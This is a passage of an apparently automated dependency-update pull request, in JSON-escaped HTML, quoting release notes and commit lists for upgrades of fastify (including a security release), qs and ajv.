releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.8.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eThis fixes CVE CVE-2026-3635 \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(readme): add \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e to plugin team by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6565\"\u003efastify/fastify#6565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated Plugins-Guide.md; Changed \u0026quot;fastify\u0026quot; to \u0026quot;instance\u0026quot; during plugin registration to showcase that it's added as a child by \u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: use fastify.test in test case by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6568\"\u003efastify/fastify#6568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: use fastify.example in documentation by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6567\"\u003efastify/fastify#6567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add common performance degradation guidance by \u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(server): fix camelCase anchor links in TOC by \u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(link-checker): fix root-relative links resolution by \u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update syntax markdown, absolute paths and links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6569\"\u003efastify/fastify#6569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify content-type parser/schema mismatch is outside threat model by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6537\"\u003efastify/fastify#6537\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix incorrect code examples in Reply and Request reference by \u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace redirected npm.im http-errors link by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6588\"\u003efastify/fastify#6588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etypes: Allow port to be null in request type definition by \u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6593\"\u003efastify/fastify#6593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(lock-threads): use shared lock-threads workflow by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6592\"\u003efastify/fastify#6592\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.8.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(ecosystem): add \u003ccode\u003e@​yeliex/fastify-problem-details\u003c/code\u003e by \u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;chore: upgrade borp to v1.0.0\u0026quot; by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6564\"\u003efastify/fastify#6564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: document body validation with custom content type parsers by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6556\"\u003efastify/fastify#6556\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(ecosystem): add fastify-file-router by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6441\"\u003efastify/fastify#6441\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-svelte-view to Ecosystem list by \u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: anchor keyValuePairsReg to prevent quadratic backtracking by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6558\"\u003efastify/fastify#6558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: added note on handling of invalid URLs in setNotFoundHandler by \u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(guides): update codemod links by \u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add \u003ccode\u003e@​glidemq/fastify\u003c/code\u003e to community plugins by \u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a3e77ce171516e95f0c28ce60b9e5228a4c42fe4\"\u003e\u003ccode\u003ea3e77ce\u003c/code\u003e\u003c/a\u003e Bumped v5.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/4e1db5bd0012ccf63a49ff105a63e25981b9a747\"\u003e\u003ccode\u003e4e1db5b\u003c/code\u003e\u003c/a\u003e fix: gate host and protocol getters on proxy trust function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a22217f9420f70017a419d8e18b2a3141ab27989\"\u003e\u003ccode\u003ea22217f\u003c/code\u003e\u003c/a\u003e ci(lock-threads): use shared lock-threads workflow (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/1851f208e72be06ca419f2000dea63e540ff1ab0\"\u003e\u003ccode\u003e1851f20\u003c/code\u003e\u003c/a\u003e docs: update links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6593\"\u003e#6593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/9cc5187be2dc7c38fd68d0d43541f16ed6d1e1ad\"\u003e\u003ccode\u003e9cc5187\u003c/code\u003e\u003c/a\u003e types: Allow port to be null in request type definition (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6589\"\u003e#6589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/722d83b0632387b853b218ae3a7da40cc46e2677\"\u003e\u003ccode\u003e722d83b\u003c/code\u003e\u003c/a\u003e docs: replace redirected npm.im http-errors link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6588\"\u003e#6588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a1413de2033b2b00dc1d3563d4f00a7e15ceab2d\"\u003e\u003ccode\u003ea1413de\u003c/code\u003e\u003c/a\u003e docs: fix incorrect code examples in Reply and Request reference (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6582\"\u003e#6582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d7f01b600811172d7f7023bccc5e96583159202b\"\u003e\u003ccode\u003ed7f01b6\u003c/code\u003e\u003c/a\u003e docs: clarify content-type parser/schema mismatch is outside threat model (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6\"\u003e#6\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a0649e92e93c1ad8b164020f61be5d5fa287d506\"\u003e\u003ccode\u003ea0649e9\u003c/code\u003e\u003c/a\u003e docs: update syntax markdown, absolute paths and links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6569\"\u003e#6569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d4779155286ea1d31c24dba1e90d7d478909382b\"\u003e\u003ccode\u003ed477915\u003c/code\u003e\u003c/a\u003e ci(link-checker): fix root-relative links resolution (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6535\"\u003e#6535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v4.23.2...v5.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `qs` from 6.11.0 to 6.14.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ljharb/qs/blob/main/CHANGELOG.md\"\u003eqs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.2\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: mark overflow objects for indexed notation exceeding \u003ccode\u003earrayLimit\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/546\"\u003e#546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003earrayLimit\u003c/code\u003e means max count, not max index, in \u003ccode\u003ecombine\u003c/code\u003e/\u003ccode\u003emerge\u003c/code\u003e/\u003ccode\u003eparseArrayValue\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: throw on \u003ccode\u003earrayLimit\u003c/code\u003e exceeded with indexed notation when \u003ccode\u003ethrowOnLimitExceeded\u003c/code\u003e is true (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/529\"\u003e#529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: enforce \u003ccode\u003earrayLimit\u003c/code\u003e on \u003ccode\u003ecomma\u003c/code\u003e-parsed values\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: fix error message to reflect arrayLimit as max index; remove extraneous comments (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/545\"\u003e#545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Robustness] avoid \u003ccode\u003e.push\u003c/code\u003e, use \u003ccode\u003evoid\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/543\"\u003e#543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] replace runkit CI badge with shields.io check-runs badge\u003c/li\u003e\n\u003cli\u003e[meta] fix changelog typo (\u003ccode\u003earrayLength\u003c/code\u003e → \u003ccode\u003earrayLimit\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e[actions] fix rebase workflow permissions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.1\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] ensure \u003ccode\u003earrayLimit\u003c/code\u003e applies to \u003ccode\u003e[]\u003c/code\u003e notation as well\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: when a custom decoder returns \u003ccode\u003enull\u003c/code\u003e for a key, ignore that key\u003c/li\u003e\n\u003cli\u003e[Refactor] \u003ccode\u003eparse\u003c/code\u003e: extract key segment splitting helper\u003c/li\u003e\n\u003cli\u003e[meta] add threat model\u003c/li\u003e\n\u003cli\u003e[actions] add workflow permissions\u003c/li\u003e\n\u003cli\u003e[Tests] \u003ccode\u003estringify\u003c/code\u003e: increase coverage\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003eeslint\u003c/code\u003e, \u003ccode\u003e@ljharb/eslint-config\u003c/code\u003e, \u003ccode\u003enpmignore\u003c/code\u003e, \u003ccode\u003ees-value-fixtures\u003c/code\u003e, \u003ccode\u003efor-each\u003c/code\u003e, \u003ccode\u003eobject-inspect\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.0\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[New] \u003ccode\u003eparse\u003c/code\u003e: add \u003ccode\u003ethrowOnParameterLimitExceeded\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/517\"\u003e#517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Refactor] \u003ccode\u003eparse\u003c/code\u003e: use \u003ccode\u003eutils.combine\u003c/code\u003e more\u003c/li\u003e\n\u003cli\u003e[patch] \u003ccode\u003eparse\u003c/code\u003e: add explicit \u003ccode\u003ethrowOnLimitExceeded\u003c/code\u003e default\u003c/li\u003e\n\u003cli\u003e[actions] use shared action; re-add finishers\u003c/li\u003e\n\u003cli\u003e[meta] Fix changelog formatting bug\u003c/li\u003e\n\u003cli\u003e[Deps] update \u003ccode\u003eside-channel\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003ees-value-fixtures\u003c/code\u003e, \u003ccode\u003ehas-bigints\u003c/code\u003e, \u003ccode\u003ehas-proto\u003c/code\u003e, \u003ccode\u003ehas-symbols\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Tests] increase coverage\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.3\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003e[Fix] fix regressions from robustness refactor\n[actions] update reusable workflows\u003c/p\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.2\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Robustness] avoid \u003ccode\u003e.push\u003c/code\u003e, use \u003ccode\u003evoid\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/543\"\u003e#543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] replace runkit CI badge with shields.io check-runs badge\u003c/li\u003e\n\u003cli\u003e[actions] fix rebase workflow permissions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.1\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003estringify\u003c/code\u003e: avoid a crash when a \u003ccode\u003efilter\u003c/code\u003e key is \u003ccode\u003enull\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eutils.merge\u003c/code\u003e: functions should not be stringified into keys\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: avoid a crash with interpretNumericEntities: true, comma: true, and iso charset\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003estringify\u003c/code\u003e: ensure a non-string \u003ccode\u003efilter\u003c/code\u003e does not crash\u003c/li\u003e\n\u003cli\u003e[Refactor] use \u003ccode\u003e__proto__\u003c/code\u003e syntax instead of \u003ccode\u003eObject.create\u003c/code\u003e for null objects\u003c/li\u003e\n\u003cli\u003e[Refactor] misc cleanup\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/bdcf0c7f82387c18ac8fabfccd2f440645cef47b\"\u003e\u003ccode\u003ebdcf0c7\u003c/code\u003e\u003c/a\u003e v6.14.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/294db90c812ddbe7d7a35d5687c505fd21a2d6a2\"\u003e\u003ccode\u003e294db90\u003c/code\u003e\u003c/a\u003e [readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/5c308e5516c270a78caa6f278465914090f91ec6\"\u003e\u003ccode\u003e5c308e5\u003c/code\u003e\u003c/a\u003e [readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/6addf8cf738d529c54d91f6f3ffb6c1be91bbfdc\"\u003e\u003ccode\u003e6addf8c\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: mark overflow objects for indexed notation exceeding \u003ccode\u003earrayLimit\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/cfc108f662326d6ab540f3545ef0b832baf83cdf\"\u003e\u003ccode\u003ecfc108f\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003earrayLimit\u003c/code\u003e means max count, not max index, in \u003ccode\u003ecombine\u003c/code\u003e/\u003ccode\u003emerge\u003c/code\u003e/`pars...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/febb64442a80e49200211fa38d3c96b58024ac77\"\u003e\u003ccode\u003efebb644\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: throw on \u003ccode\u003earrayLimit\u003c/code\u003e exceeded with indexed notation when `thr...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482\"\u003e\u003ccode\u003ef6a7abf\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: enforce \u003ccode\u003earrayLimit\u003c/code\u003e on \u003ccode\u003ecomma\u003c/code\u003e-parsed values\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/fbc5206c25b4d1851cea683f02c10756c521d15a\"\u003e\u003ccode\u003efbc5206\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: fix error message to reflect arrayLimit as max index; remove e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/1b9a8b4e78c6aff4c22fa559107227f02fd0216a\"\u003e\u003ccode\u003e1b9a8b4\u003c/code\u003e\u003c/a\u003e [actions] fix rebase workflow permissions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/2a35775614e0fb46ac8a3060201a32a7c23a7fda\"\u003e\u003ccode\u003e2a35775\u003c/code\u003e\u003c/a\u003e [meta] fix changelog typo (\u003ccode\u003earrayLength\u003c/code\u003e → \u003ccode\u003earrayLimit\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ljharb/qs/compare/v6.11.0...v6.14.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ajv` from 8.12.0 to 8.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ajv-validator/ajv/releases\"\u003eajv's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.18.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow tree-shaking by adding \u003ccode\u003e\u0026quot;sideEffects\u0026quot;: false\u003c/code\u003e to \u003ccode\u003epackage.json\u003c/code\u003e by \u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2487\"\u003eajv-validator/ajv#2487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: small grammatical error in managing-schemas.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: typos in schema-language.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca 